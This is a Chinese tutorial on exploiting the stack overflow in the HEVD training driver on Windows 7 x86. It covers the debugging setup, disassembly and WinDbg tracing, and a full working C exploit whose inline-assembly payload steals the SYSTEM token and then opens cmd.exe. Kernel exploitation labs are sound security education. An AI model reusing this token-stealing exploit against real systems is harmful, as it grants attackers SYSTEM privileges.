0x00 前言
HEVD是入门windows内核的一个很好的靶场之一,主要是体验一下常见的提权漏洞利用的情景,里面内置了很多内核上常见的利用漏洞,如栈溢出、UAF、任意内存读写、未初始化、池溢出等。
0x01 环境搭建
环境 | 下载链接 |
---|---|
Win7 x86 | https://msdn.itellyou.cn/ |
HEVD | https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/releases/tag/v3.00 |
HEVD要把2个文件都下载
一、操作系统+VS2019搭建
这个就不介绍了,CSDN一搜就有一堆
二、双机内核调试环境搭建
下载列表
Windows 10 SDK(随意选择最新版) | https://developer.microsoft.com/zh-cn/windows/downloads/windows-10-sdk/ | |
---|---|---|
VirtualKD | https://github.com/4d61726b/VirtualKD-Redux |
windows 10 SDK集成了windows内核调试工具包(Windbg)
在本机上安装Windows 10 SDK+Windbg Preview
只需要选择这个
然后一直下一步即可安装
安装成功后会在所有应用W中生成一个Windows Kit
安装Windbg Preview
打开microsoft Store
搜索Windbg Preview并安装(我这里已经下过了)
在安装好了的Win7 x86上安装VirtualKD
因为是x86操作系统,所以我们只需要将target32文件夹复制到win7上
直接点击vminstall安装
重启Win7
打开vmmon64.exe
点击 F8
选择“禁用驱动程序签名强制”
然后会自动弹出一个Windbg Preview窗口(假设Break是灰的且Win7卡住了,那么需要点击一下Go继续运行Win7)
加载一遍后windbg preview会自动记录在自己的Symbol path中
没有符号表,Windbg就找不到PEB/TEB结构体
配置Win7测试模式
流程
- 管理员运行cmd
- 输入:
bcdedit -debug on
- 重启系统
配置这个后就可以
Win7 配置永久禁止验证驱动文件
运行 --> gpedit.msc
--> 用户配置 --> 管理模板 --> 系统 --> 驱动程序安装
设备驱动程序的代码签名 --> 选择**已启用**
-->选项选择**忽略**
重启电脑
三、HEVD环境搭建
将2个文件都解压出来后会有2个文件夹:
- driver 这是适应于Win7下的驱动文件,导入即可使用
- HackSysExtremeVulnerableDriver-3.00 这是源码文件
项目文件解析:
- driver
- secure 没有漏洞的驱动文件
- x86
- x64
- vulnerable 存在利用漏洞的驱动文件
- x86 内部的 HEVD.sys 即为我们需要使用的HEVD驱动文件
- x64
- source code
Driver\HEVD\
HEVD的漏洞源码文件,在后续分析对照源码时用到\Exploit
为HEVD 官方的漏洞利用代码- HackSysEVDExploit.vcxproj 可以生成一个HEVD集成的漏洞利用工具HackSysEVDExploit.exe,点击一下就能用VS2019生成了
\build
如果你想自己写一个sys文件,只要安装cmake后就能直接点击Build_HEVD_All.bat生成
导入HEVD.sys
工具
- dbgview
- kmdmanager
下载链接:
- 链接:https://pan.baidu.com/s/1gyhd2MNyGgOklDVO1xQ8Bw 提取码:aaaa
流程
- 我们将vulnerable\x86\HEVD.sys放到我们的win7 x86
- 管理员打开dbgview.exe
- 配置如下:
- 管理员运行kmdmanager.exe,选择我们需要导入的HEVD.sys文件
- 点击Register和run
Debugview出现如下表示驱动加载成功
- 将vulnerable\x86\HEVD.pdb文件放置在D:\Sources\Tools\symbols上(根据自己实际配置环境)
点击 Break 中断 win7
配置Windbg符号表
注意中间的D:\Sources\Tools\symbols,这个就是pdb放置的位置,你也可以根据自己实际情况设置(不懂的看看查:windbg配置符号表)
.sympath SRV*D:\Sources\Tools\symbols*http://msdl.microsoft.com/download/symbols;
.reload
- 在本机windbg preivew上测试符号表
命令:
x HEVD!*
- 出现如下:
环境配置完成
0x02 栈溢出
前面已经讲解了HEVD的在Win7下的环境配置方式,有什么问题可以直接在下方留言,这里讲解一下栈溢出利用方式
0x03 定位溢出函数
HEVD源码示例 HackSysExtremeVulnerableDriver-3.00\Driver\HEVD\BufferOverflowStack.c 即为我们存在栈溢出的源码文件
可以看到它给出的漏洞基于栈溢出的漏洞函数是TriggerBufferOverflowStack
我们可以直接IDA pro加载HEVD.sys
分析该漏洞函数,直接在Function window
窗口ctrl+f
查找TriggerBufferOverflowStack
直接F5伪代码查看
漏洞函数memcpy()
函数解析
可以看到这里是因为没有检查UserBuffer
的大小直接将他复制给了KernelBuffer
,而KernelBuffer
大小是固定值,进而导致溢出发生
0x04 分析目标栈溢出函数调用流程
我们定位的栈溢出函数为:TriggerBufferOverflowStack(x,x)
下面即为函数调用的执行流程:
执行HEVD.sys
驱动后我们首先是进入到DriverEntry(x,x)
,然后通过IrpDeviceIoCtlHandler(x,x)
根据IoControlCode
使用switch
函数跳转到BufferOverflowStackIoctlHandler
然后进入TriggerBufferOverflowStack
进行溢出操作
分析IrpDeviceIoCtlHandler(x,x)
PAGE:00444064 _IrpDeviceIoCtlHandler@8 proc near ; DATA XREF: DriverEntry(x,x)+87↓o
PAGE:00444064
PAGE:00444064 DeviceObject = dword ptr 8
PAGE:00444064 Irp = dword ptr 0Ch
PAGE:00444064
PAGE:00444064 push ebp
PAGE:00444065 mov ebp, esp
PAGE:00444067 push ebx
PAGE:00444068 push esi
PAGE:00444069 push edi
PAGE:0044406A mov edi, [ebp+Irp]
PAGE:0044406D mov ebx, 0C00000BBh
PAGE:00444072 mov eax, [edi+60h]
PAGE:00444075 test eax, eax
PAGE:00444077 jz loc_4444C5
PAGE:0044407D mov ebx, eax
PAGE:0044407F mov ecx, [ebx+0Ch]
PAGE:00444082 lea eax, [ecx-222003h] ; switch 109 cases //可以看到起始跳转IoControlCode为222003h
PAGE:00444088 cmp eax, 108 //跳转到default
PAGE:0044408B ja def_444098 ; jumptable 00444098 default case, cases 2236420-2236422,2236424-2236426,2236428-2236430,2236432-2236434,2236436-2236438,2236440-2236442,2236444-2236446,2236448-2236450,2236452-2236454,2236456-2236458,2236460-2236462,2236464-2236466,2236468-2236470,2236472-2236474,2236476-2236478,2236480-2236482,2236484-2236486,2236488-2236490,2236492-2236494,2236496-2236498,2236500-2236502,2236504-2236506,2236508-2236510,2236512-2236514,2236516-2236518,2236520-2236522,2236524-2236526
PAGE:00444091 movzx eax, ds:byte_444554[eax] //真实调用函数跳转
PAGE:00444098 jmp ds:jpt_444098[eax*4] ; switch jump
我们也可以伪代码分析
上面可以很清楚的表示想要进入BufferOverflowStackIoctlHandler
就需要IoControlCode
为222003
,进而进入溢出函数TriggerBufferOverflowStack
0x05 溢出利用
漏洞利用流程:
- 触发漏洞
- 寻找一个可执行的空间, 里面存放我们的shellcode
- 调用指令流跳转到shellcode
查看KernelBuffer
到达ret
的偏移量
如图ret
地址的偏移量为0x81c + 0x4 = 0x820h
EXP如下:
VS2019生成release+win32类型的载荷就可以了(debug模式下会使ebp复原失败)
#include "stdio.h"
#include "windows.h"
#include <stdlib.h>
//#include "ntapi.h"
#include <tchar.h>
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad ;保存各寄存器数据
; start of Token Stealing Stub
xor eax, eax ; eax设置为0
mov eax, fs: [eax + 124h] ; 获取 nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 050h] ; 获取 nt!_KTHREAD.ApcState.Process
mov ecx, eax ; 将本进程EPROCESS地址复制到ecx
mov edx, 4 ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0b8h] ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx ; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID ; 循环检测是否是SYSTEM进程PID
mov edx, [eax + 0f8h] ; 获取System进程的Token
mov[ecx + 0f8h], edx ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; 恢复各个寄存器数据
; Kernel Recovery Stub
xor eax, eax ; 返回状态 SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
}
}
static VOID Cmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
char buffer[0x824];
HANDLE hDevice;
DWORD bReturn = 0;
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("Failed to get handle...!\n");
return 0;
}
memset(buffer, 'A', 0x824); //创建一个0x824大小的内存空间来放置我们的shellcode
*(PDWORD)(buffer + 0x820) = (DWORD)&TokenStealingPayloadWin7;
DeviceIoControl(hDevice, 0x222003, buffer, 0x824, NULL, 0, &bReturn, NULL);
Cmd();
return 0;
}
代码解析:
一、在内存中生成一个shellcode空间
memset(buffer, 'A', 0x824); //生成一个0x824大小的内存空间
*(PDWORD)(buffer + 0x820) = (DWORD)&TokenStealingPayloadWin7; //将0x820后4位指向函数TokenStealingPayloadWin7空间
//由于到达ret需要0x820,所以只需要溢出将TokenStealingPayloadWin7地址覆盖到ret即可(0x824)
二、获取system进程Token和覆盖自己的Token(详细分析请看下面)
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad ;保存各寄存器数据
; start of Token Stealing Stub
xor eax, eax ; eax设置为0
mov eax, fs: [eax + 124h] ; 获取 nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 050h] ; 获取 nt!_KTHREAD.ApcState.Process
mov ecx, eax ; 将本进程EPROCESS地址复制到ecx
mov edx, 4 ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0b8h] ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx ; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID ; 循环检测是否是SYSTEM进程PID
mov edx, [eax + 0f8h] ; 获取System进程的Token
mov[ecx + 0f8h], edx ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; 恢复各个寄存器数据
; Kernel Recovery Stub
xor eax, eax ; 返回状态 SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
}
}
三、使用与驱动进行交互
//调用驱动HackSysExtremeVulnerableDriver
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL
);
//向HackSysExtremeVulnerableDriver传入控制码0x222003到达TriggerBufferOverflowStack,传入0x824大小的数据
DeviceIoControl(hDevice, 0x222003, buffer, 0x824, NULL, 0, &bReturn, NULL);
四、调用进程的SYSTEM令牌执行cmd
static VOID Cmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
这里实际就是一个启动CMD的命令
五、恢复堆栈平衡防止蓝屏
xor eax, eax ; Set NTSTATUS SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
add esp, 12 ; Fix the stack
- 这里复原前面的
push ebx
push esi
push edi
ret 8 ; Return cleanly
- 这里复原前面的
pop ebp
- 加
ret
指令本身的add esp, 4
载荷执行结果:
0x06 利用分析
查看驱动服务开启后目标函数位于内存的位置
kd> x HEVD!*
DBGHELP: HEVD - private symbols & lines
d:\sources\tools\symbols01\HEVD.pdb
a1d20014 HEVD!__security_cookie_complement = 0x2ea0a90f
a1d20018 HEVD!g_ARWHelperObjectNonPagedPoolNx = struct _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX *[65535]
a1d60014 HEVD!g_UseAfterFreeObjectNonPagedPool = 0x00000000
a1d1f04c HEVD!__guard_check_icall_fptr = 0xa1d1e404
a1d1f050 HEVD!GuardCheckLongJumpTargetImpl = 0x00000000
a1d1f140 HEVD!__safe_se_handler_table = void *[]
a1d1f098 HEVD!_load_config_used = struct _IMAGE_LOAD_CONFIG_DIRECTORY32
a1d20010 HEVD!__security_cookie = 0xd15f56f0
a1d20000 HEVD!__NLG_Destination = struct _NLG_INFO
a1d60018 HEVD!g_UseAfterFreeObjectNonPagedPoolNx = 0x00000000
a1d63410 HEVD!FreeUaFObjectNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d637f2 HEVD!UaFObjectCallbackNonPagedPoolNx (void)
a1d62920 HEVD!TriggerMemoryDisclosureNonPagedPoolNx (void *, unsigned long)
a1d623aa HEVD!TriggerDoubleFetch (struct _DOUBLE_FETCH *)
a1d62ade HEVD!TriggerNullPointerDereference (void *)
a1d6373c HEVD!FreeUaFObjectNonPagedPoolNx (void)
a1d1e045 HEVD!__SEH_epilog4 (void)
a1d1e3a5 HEVD!_NLG_Notify (void)
a1d1e000 HEVD!__SEH_prolog4 (void)
a1d62aaa HEVD!NullPointerDereferenceIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d1e2d0 HEVD!_unwind_handler4 (void)
a1d615e4 HEVD!CreateArbitraryReadWriteHelperObjectNonPagedPoolNx (struct _ARW_HELPER_OBJECT_IO *)
a1d63806 HEVD!UseUaFObjectNonPagedPoolNx (void)
a1d634f0 HEVD!AllocateFakeObjectNonPagedPoolNx (struct _FAKE_OBJECT_NON_PAGED_POOL_NX *)
a1d634e8 HEVD!UseUaFObjectNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d615c2 HEVD!IrpNotImplementedHandler (struct _DEVICE_OBJECT *, struct _IRP *)
a1d6217e HEVD!BufferOverflowStackIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61e68 HEVD!TriggerBufferOverflowNonPagedPoolNx (void *, unsigned long)
a1d62e4a HEVD!TriggerUninitializedMemoryPagedPool (void *)
a1d6311c HEVD!AllocateFakeObjectNonPagedPool (struct _FAKE_OBJECT_NON_PAGED_POOL *)
a1d1e3c4 HEVD!_NLG_Call (void)
a1d624c8 HEVD!TriggerInsecureKernelFileAccess (void)
a1d628f8 HEVD!MemoryDisclosureNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d6238a HEVD!DoubleFetchIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61bee HEVD!TriggerArbitraryWrite (struct _WRITE_WHAT_WHERE *)
a1d1e240 HEVD!_local_unwind4 (void)
a1d63236 HEVD!AllocateUaFObjectNonPagedPool (void)
a1d63734 HEVD!AllocateUaFObjectNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d1e1e8 HEVD!__SEH_prolog4_GS (void)
a1d61bce HEVD!ArbitraryWriteIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61000 HEVD!DriverUnloadHandler (struct _DRIVER_OBJECT *)
a1d1e230 HEVD!__SEH_epilog4_GS (void)
a1d62c68 HEVD!TriggerTypeConfusion (struct _USER_TYPE_CONFUSION_OBJECT *)
a1d61fe2 HEVD!BufferOverflowPagedPoolSessionIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61bae HEVD!SetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61a2c HEVD!GetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61808 HEVD!DeleteArbitraryReadWriteHelperObjecNonPagedPoolNx (struct _ARW_HELPER_OBJECT_IO *)
a1d61048 HEVD!IrpCreateCloseHandler (struct _DEVICE_OBJECT *, struct _IRP *)
a1d638ca HEVD!TriggerWriteNULL (void *)
a1d622a6 HEVD!TriggerBufferOverflowStackGS (void *, unsigned long)
a1d1e318 HEVD!_seh_longjmp_unwind4 (unsigned long)
a1d62006 HEVD!TriggerBufferOverflowPagedPoolSession (void *, unsigned long)
a1d62772 HEVD!TriggerMemoryDisclosureNonPagedPool (void *, unsigned long)
a1d650ea HEVD!GsDriverEntry (struct _DRIVER_OBJECT *, struct _UNICODE_STRING *)
a1d62ffa HEVD!TriggerUninitializedMemoryStack (void *)
a1d63216 HEVD!AllocateFakeObjectNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d62de6 HEVD!TypeConfusionIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d618f2 HEVD!DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d1e3ce HEVD!__security_check_cookie (unsigned int)
a1d6261a HEVD!TriggerIntegerOverflow (void *, unsigned long)
a1d6342c HEVD!UseUaFObjectNonPagedPool (void)
a1d635ee HEVD!AllocateFakeObjectNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d624c0 HEVD!InsecureKernelFileAccessIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d1e060 HEVD!ValidateLocalCookies (struct _EH4_SCOPETABLE *, char *)
a1d6360e HEVD!AllocateUaFObjectNonPagedPoolNx (void)
a1d617e8 HEVD!CreateArbitraryReadWriteHelperObjectNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d638c2 HEVD!UseUaFObjectNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d1e0a0 HEVD!_except_handler4 (struct _EXCEPTION_RECORD *, struct _EXCEPTION_REGISTRATION_RECORD *, struct _CONTEXT *, void *)
a1d61064 HEVD!IrpDeviceIoCtlHandler (struct _DEVICE_OBJECT *, struct _IRP *)
a1d1e39c HEVD!_NLG_Notify1 (void)
a1d63108 HEVD!UninitializedMemoryStackObjectCallback (void)
a1d6335a HEVD!AllocateUaFObjectNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d62fe6 HEVD!UninitializedMemoryPagedPoolObjectCallback (void)
a1d1e404 HEVD!_guard_check_icall_nop (unsigned int)
a1d625f6 HEVD!IntegerOverflowIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61caa HEVD!BufferOverflowNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d6274a HEVD!MemoryDisclosureNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d6395e HEVD!WriteNULLIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d621a2 HEVD!TriggerBufferOverflowStack (void *, unsigned long)
a1d61e44 HEVD!BufferOverflowNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61cce HEVD!TriggerBufferOverflowNonPagedPool (void *, unsigned long)
a1d630e8 HEVD!UninitializedMemoryStackIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d62fc6 HEVD!UninitializedMemoryPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61a4c HEVD!GetFreeIndex (void)
a1d62e06 HEVD!TypeConfusionObjectInitializer (struct _KERNEL_TYPE_CONFUSION_OBJECT *)
a1d650fa HEVD!__security_init_cookie (void)
a1d61a6a HEVD!GetIndexFromPointer (void *)
a1d62aca HEVD!NullPointerDereferenceObjectCallback (void)
a1d1e3de HEVD!__report_gsfailure (void)
a1d61a94 HEVD!SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx (struct _ARW_HELPER_OBJECT_IO *)
a1d63418 HEVD!UaFObjectCallbackNonPagedPool (void)
a1d61912 HEVD!GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx (struct _ARW_HELPER_OBJECT_IO *)
a1d637ea HEVD!FreeUaFObjectNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d63362 HEVD!FreeUaFObjectNonPagedPool (void)
a1d65000 HEVD!DriverEntry (struct _DRIVER_OBJECT *, struct _UNICODE_STRING *)
a1d62282 HEVD!BufferOverflowStackGSIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
如上可知:a1d6261a HEVD!TriggerIntegerOverflow (void *, unsigned long)
在**disassembly窗口**
跟踪a1d6261a
HEVD!TriggerBufferOverflowStack:
a1d621a2 680c080000 push 80Ch
a1d621a7 68e0f3d1a1 push offset HEVD!__safe_se_handler_table+0x2a0 (a1d1f3e0)
a1d621ac e84fbefbff call HEVD!__SEH_prolog4 (a1d1e000)
a1d621b1 33ff xor edi, edi
a1d621b3 bb00080000 mov ebx, 800h
a1d621b8 53 push ebx
a1d621b9 57 push edi
a1d621ba 8d85e4f7ffff lea eax, [ebp-81Ch]
a1d621c0 50 push eax
a1d621c1 e81cc0fbff call HEVD!memset (a1d1e1e2)
a1d621c6 83c40c add esp, 0Ch
a1d621c9 897dfc mov dword ptr [ebp-4], edi
a1d621cc 6a01 push 1
a1d621ce 53 push ebx
a1d621cf ff7508 push dword ptr [ebp+8]
a1d621d2 ff1524f0d1a1 call dword ptr [HEVD!_imp__ProbeForRead (a1d1f024)]
a1d621d8 ff7508 push dword ptr [ebp+8]
a1d621db 68ee44d6a1 push offset HEVD! ?? ::NNGAKEGL::`string' (a1d644ee)
a1d621e0 6a03 push 3
a1d621e2 6a4d push 4Dh
a1d621e4 5b pop ebx
a1d621e5 53 push ebx
a1d621e6 8b3504f0d1a1 mov esi, dword ptr [HEVD!_imp__DbgPrintEx (a1d1f004)]
a1d621ec ffd6 call esi
a1d621ee ff750c push dword ptr [ebp+0Ch]
a1d621f1 680445d6a1 push offset HEVD! ?? ::NNGAKEGL::`string' (a1d64504)
a1d621f6 6a03 push 3
a1d621f8 53 push ebx
a1d621f9 ffd6 call esi
a1d621fb 8d85e4f7ffff lea eax, [ebp-81Ch]
a1d62201 50 push eax
a1d62202 682045d6a1 push offset HEVD! ?? ::NNGAKEGL::`string' (a1d64520)
a1d62207 6a03 push 3
a1d62209 53 push ebx
a1d6220a ffd6 call esi
a1d6220c 6800080000 push 800h
a1d62211 683845d6a1 push offset HEVD! ?? ::NNGAKEGL::`string' (a1d64538)
a1d62216 6a03 push 3
a1d62218 53 push ebx
a1d62219 ffd6 call esi
a1d6221b 83c440 add esp, 40h
a1d6221e 681646d6a1 push offset HEVD! ?? ::NNGAKEGL::`string' (a1d64616)
a1d62223 6a03 push 3
a1d62225 53 push ebx
a1d62226 ffd6 call esi
a1d62228 ff750c push dword ptr [ebp+0Ch]
a1d6222b ff7508 push dword ptr [ebp+8]
a1d6222e 8d85e4f7ffff lea eax, [ebp-81Ch]
a1d62234 50 push eax
a1d62235 e8a2bffbff call HEVD!memcpy (a1d1e1dc)
a1d6223a 83c418 add esp, 18h
a1d6223d eb27 jmp HEVD!TriggerBufferOverflowStack+0xc4 (a1d62266)
a1d6223f 8b45ec mov eax, dword ptr [ebp-14h]
a1d62242 8b00 mov eax, dword ptr [eax]
a1d62244 8b00 mov eax, dword ptr [eax]
a1d62246 8945e4 mov dword ptr [ebp-1Ch], eax
a1d62249 33c0 xor eax, eax
a1d6224b 40 inc eax
a1d6224c c3 ret
a1d6224d 8b65e8 mov esp, dword ptr [ebp-18h]
a1d62250 8b7de4 mov edi, dword ptr [ebp-1Ch]
a1d62253 57 push edi
a1d62254 68f042d6a1 push offset HEVD! ?? ::NNGAKEGL::`string' (a1d642f0)
a1d62259 6a03 push 3
a1d6225b 6a4d push 4Dh
a1d6225d ff1504f0d1a1 call dword ptr [HEVD!_imp__DbgPrintEx (a1d1f004)]
a1d62263 83c410 add esp, 10h
a1d62266 c745fcfeffffff mov dword ptr [ebp-4], 0FFFFFFFEh
a1d6226d 8bc7 mov eax, edi
a1d6226f 8b4df0 mov ecx, dword ptr [ebp-10h]
a1d62272 64890d00000000 mov dword ptr fs:[0], ecx
a1d62279 59 pop ecx
a1d6227a 5f pop edi
a1d6227b 5e pop esi
a1d6227c 5b pop ebx
a1d6227d c9 leave
a1d6227e c20800 ret 8
a1d62281 cc int 3
由上方可以知道a1d62235 e8a2bffbff call HEVD!memcpy (a1d1e1dc)
为溢出函数
kd> bp a1d62235
下完断点后直接**g**
执行
最终程序停顿在
分析此时的ebp
kd> dd ebp
9453cad0 9453cae0 a1d6219a 0041ef5c 00000824
9453cae0 9453cafc a1d610ba 86e12660 86e126d0
9453caf0 86f3ca28 86fc1a40 00000000 9453cb14
9453cb00 83e55593 86fc1a40 86e12660 86e12660
9453cb10 86fc1a40 9453cb34 8404999f 86f3ca28
9453cb20 86e12660 86e126d0 00000094 0453cbac
9453cb30 9453cb44 9453cbd0 8404cb71 86fc1a40
9453cb40 86f3ca28 00000000 83eaf201 0001ca00
DBGHELP: HEVD is not source indexed
注意开始的这个9453cad0
->9453cae0
->9453cafc
->00000000
,这里的实际ebp为9453cafc
,这是我们执行完shellcode
后需要恢复的原始ebp
执行**单步步过p**
kd> p
HEVD!TriggerBufferOverflowStack+0x98:
a1d6223a 83c418 add esp,18h
查看此时的esp和ebp
kd> dd esp
9453c28c 9453c2b4 0041ef5c 00000824 0000004d
9453c29c 00000003 a1d64616 450c9c20 86e12660
9453c2ac 83ee3087 86e126d0 41414141 41414141
9453c2bc 41414141 41414141 41414141 41414141
9453c2cc 41414141 41414141 41414141 41414141
9453c2dc 41414141 41414141 41414141 41414141
9453c2ec 41414141 41414141 41414141 41414141
9453c2fc 41414141 41414141 41414141 41414141
DBGHELP: HEVD is not source indexed
kd> dd ebp
9453cad0 41414141 00271040 0041ef5c 00000824
9453cae0 9453cafc a1d610ba 86e12660 86e126d0
9453caf0 86f3ca28 86fc1a40 00000000 9453cb14
9453cb00 83e55593 86fc1a40 86e12660 86e12660
9453cb10 86fc1a40 9453cb34 8404999f 86f3ca28
9453cb20 86e12660 86e126d0 00000094 0453cbac
9453cb30 9453cb44 9453cbd0 8404cb71 86fc1a40
9453cb40 86f3ca28 00000000 83eaf201 0001ca00
DBGHELP: HEVD is not source indexed
可以看到此时的我们压入的数据已经覆盖到我们的ebp
地址,然后改写ret
地址指向shellcode
我们查看012e1040
的数据栈
kd> dd 012e1040
012e1040 60575653 8b64c033 00012480 50408b00
012e1050 04bac88b 8b000000 0000b880 00b82d00
012e1060 90390000 000000b4 908bed75 000000f8
012e1070 00f89189 33610000 0cc483c0 0008c25d
012e1080 c35b5e5f cccccccc cccccccc cccccccc
012e1090 81ec8b55 000a88ec 3004a100 c533012e
012e10a0 56fc4589 8068006a 6a400000 6a006a03
012e10b0 00006803 2068c000 c7012e21 fff5cc85
再查看我们的shellcode
机器码
(下图为我用IDA分析上面exp编译生成的exe文件中的TokenStealingPayloadWin7
函数)
对比发现这里就是我们的shellcode
存放的位置
继续跟踪执行
当我们执行完**a1d6227e c20800 ret 8**
就会跳转到我们的shellcode
当我们执行到完0027107c 5d pop ebp
对堆栈进行平衡后的ebp
(用于防止蓝屏)
kd> dd ebp
9453cafc 9453cb14 83e55593 86fc1a40 86e12660
9453cb0c 86e12660 86fc1a40 9453cb34 8404999f
9453cb1c 86f3ca28 86e12660 86e126d0 00000094
9453cb2c 0453cbac 9453cb44 9453cbd0 8404cb71
9453cb3c 86fc1a40 86f3ca28 00000000 83eaf201
9453cb4c 0001ca00 00000002 fa51ccbb 00000020
9453cb5c 0041ee7c 840933ca 00000000 0012019f
9453cb6c c03b98d0 00000000 86f3ca28 83eb9b8a
即还原为9453cafc
0x07 shellcode分析
查看访问凭证
系统中运行的每个进程都有其对应的EPROCESS数据结构,其中封装了所有与之相关的数据。该结构的完整定义,详见网址struct EPROCESS(EPROCESS数据结构在Windows操作系统的不同版本之间会有细微差别,更多信息参见网址EPROCESS )。EPROCESS结构的某些成员,比如PEB(Process Environment Block,进程环境块,具体含义可参考维基百科,网址:Process Environment Block),用户模式下即可访问;而另一些,比如所提到的访问凭证,只能在内核模式下访问。
一、查看EPROCESS结构体
dt nt!_EPROCESS
可以看到进程的Token就在EPROCESS
结构体偏移0xF8
二、查看_EX_FAST_REF
dt nt!_EX_FAST_REF
三、查看所有进程的EPROCESS结构体首地址
!dml_proc
四、查看lsm.exe进程的Token
- 直接通过!process查看
!process 869d77d8
可以看到lsm.exe
的进程Token即为8b0a2db0
- 通过
EPROCESS
偏移查看
dt nt!_EX_FAST_REF 869d77d8+0f8
这里的意思是进入到lsm.exe
的EPROCESS
地址,然后使用_EX_FAST_REF
结构体解读偏移0xf8
后的位置
3. 直接查看内存数据
dd 869d77d8+0f8
那么1得到的Token对比2和3得到的Token值为什么不同呢?
!process命令会自动应用掩码,并从显示信息中过滤引用计数;我们可以通过使用最右3比特置零的掩码,在如下表达式求值的帮助下,人工实现相同的功能:
?[token] & 0xFFFFFFF8
如图即可生成应用掩码后的Token
但是我们需要的不是应用掩码后的Token(8b0a2db0
),而是需要应用掩码前的Token(8b0a2db3
)
窃取凭证的载荷
一、关于调用到EPROCESS
结构体的流程:
KPCR(PrcbData)-> KPRCB(CurrentThread)-> KTHREAD(ApcState)-> KAPC_STATE(Process)-> KPROCESS
